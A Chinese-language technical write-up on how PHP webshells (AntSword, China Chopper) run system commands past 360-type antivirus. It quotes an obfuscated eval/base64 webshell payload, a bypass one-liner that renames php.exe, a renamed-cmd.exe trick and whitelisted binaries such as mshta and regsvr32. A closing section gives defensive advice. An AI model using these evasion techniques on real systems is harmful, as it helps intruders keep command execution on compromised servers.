php绕过某防护软件执行系统命令
字数 846 2025-08-07 08:22:33
PHP绕过某防护软件执行系统命令技术分析
0x01 背景与前言
本文详细分析在PHP环境下绕过360等防护软件执行系统命令的技术方法。主要针对两种常见Webshell管理工具(蚁剑和菜刀)在执行命令时被拦截的情况进行分析,并提供有效的绕过方案。
0x02 流量分析对比
蚁剑执行命令特征
cmd /c "cd /d "C:/phpstudy_pro/WWW"&蚁剑shell接收的命令&echo 844fa65177&cd&echo b9efda2bfbc"
- 使用
cmd /c执行命令 - 包含明显的定位标记(844fa65177等)
- 拦截点在第二个cmd创建时
菜刀执行命令特征
array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('BASE64编码内容')));"));
解码后核心代码:
$p = 'cmd';
$s = 'cd /d C:\\phpstudy_pro\\WWW\\¬epad&echo [S]&cd&echo [E]';
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
$r = "{$p} {$c}";
$fp = proc_open($r . " 2>&1", $array, $pipes);
- 同样使用
cmd /c但拦截率较低 - 使用
proc_open而非直接system
0x03 防护软件拦截原理
通过调试分析发现:
- 32位系统拦截
CreateProcessAAPI调用 - 64位系统拦截
NtCreateUserProcess系统调用 - 主要检测点:
- 进程创建行为
- 特定进程名(cmd.exe)
- 调用链分析
0x04 绕过技术方案
方案1:重命名PHP解释器
- 将php.exe复制为其他名称(如a.exe)
- 使用重命名后的解释器执行命令
// 绕过EXP
cmd=chdir(php路径);copy("php.exe","a.exe");system("a -r \"system(\\\"cmd /c tasklist\\\");\";");
方案2:使用替代命令行工具
- 从其他系统获取cmd.exe副本
- 重命名为其他名称(如biesha.exe)
- 使用重命名后的工具执行命令
biesha /c tasklist
方案3:利用白名单程序
- 使用系统白名单程序如:
- rundll32.exe
- mshta.exe
- regsvr32.exe
- 通过这些程序间接执行命令
0x05 技术原理总结
- 进程名检测:防护软件主要检测特定进程名(cmd.exe)
- 首次执行豁免:重命名后首次执行可绕过后续检测
- API层拦截:在底层API调用时进行行为分析
0x06 防御建议
-
对Web服务器:
- 限制PHP危险函数(system, exec, proc_open等)
- 监控异常进程创建行为
-
对防护软件:
- 增加进程哈希校验
- 监控父进程链异常情况
0x07 参考资源
- 原文参考
- Windows进程创建API文档
- PHP执行系统命令相关函数说明
注:本文仅用于安全研究和技术防御,请勿用于非法用途。